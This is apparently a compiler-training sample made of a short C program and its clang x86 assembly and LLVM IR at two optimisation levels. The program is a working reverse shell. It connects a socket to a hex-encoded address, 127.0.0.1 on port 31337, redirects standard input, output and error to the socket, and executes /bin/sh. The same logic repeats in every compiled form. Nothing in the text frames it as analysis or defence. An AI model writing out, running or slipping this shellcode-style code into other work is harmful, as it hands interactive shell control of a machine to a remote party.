#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ connect(int, char *, int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, int /*<<< orphan*/, int /*<<< orphan*/);
int socket(int, int, int /*<<< orphan*/);
int main(void) {
  int sd;
  char *servaddr = "\x02\x00"
                   "\x7A\x69"
                   "\x7F\x00\x00\x01"
                   "\x00\x00\x00\x00"
                   "\x00\x00\x00\x00";
  sd = socket(2, 1, 0);
  connect(sd, servaddr, 16);
  dup2(sd, 0);
  dup2(sd, 1);
  dup2(sd, 2);
  execve("/bin/sh", 0, 0);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
lea    0xeb1(%rip),%rax
mov    %rax,-0x10(%rbp)
mov    $0x2,%edi
mov    $0x1,%esi
xor    %edx,%edx
call   1060 <socket@plt>
mov    %eax,-0x4(%rbp)
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rsi
mov    $0x10,%edx
call   1050 <connect@plt>
mov    -0x4(%rbp),%edi
xor    %esi,%esi
call   1030 <dup2@plt>
mov    -0x4(%rbp),%edi
mov    $0x1,%esi
call   1030 <dup2@plt>
mov    -0x4(%rbp),%edi
mov    $0x2,%esi
call   1030 <dup2@plt>
lea    0xe6e(%rip),%rdi
xor    %edx,%edx
mov    %edx,%esi
call   1040 <execve@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
mov    $0x2,%edi
mov    $0x1,%esi
xor    %edx,%edx
call   1060 <socket@plt>
mov    %eax,%ebx
lea    0xea5(%rip),%rsi
mov    %eax,%edi
mov    $0x10,%edx
call   1050 <connect@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   1030 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1030 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1030 <dup2@plt>
lea    0xe82(%rip),%rdi
xor    %esi,%esi
xor    %edx,%edx
call   1040 <execve@plt>
xor    %eax,%eax
pop    %rbx
ret

LLVM IR (-O0):
@.str = [17 x i8] c"\02\00zi\7F\00\00\01\00\00\00\00\00\00\00\00\00"
@.str.1 = [8 x i8] c"/bin/sh\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca i8*
store i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str, i64 0, i64 0), i8** %2
%3 = call i32 @socket(i32 2, i32 1, i32 0)
store i32 %3, i32* %1
%4 = load i32, i32* %1
%5 = load i8*, i8** %2
%6 = call i32 @connect(i32 %4, i8* %5, i32 16)
%7 = load i32, i32* %1
%8 = call i32 @dup2(i32 %7, i32 0)
%9 = load i32, i32* %1
%10 = call i32 @dup2(i32 %9, i32 1)
%11 = load i32, i32* %1
%12 = call i32 @dup2(i32 %11, i32 2)
%13 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i32 0, i32 0)
ret i32 0
}

LLVM IR (-O2):
@.str = [17 x i8] c"\02\00zi\7F\00\00\01\00\00\00\00\00\00\00\00\00"
@.str.1 = [8 x i8] c"/bin/sh\00"
define i32 @main() {
%1 = tail call i32 @socket(i32 2, i32 1, i32 0)
%2 = tail call i32 @connect(i32 %1, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str, i64 0, i64 0), i32 16)
%3 = tail call i32 @dup2(i32 %1, i32 0)
%4 = tail call i32 @dup2(i32 %1, i32 1)
%5 = tail call i32 @dup2(i32 %1, i32 2)
%6 = tail call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i32 0, i32 0)
ret i32 0
}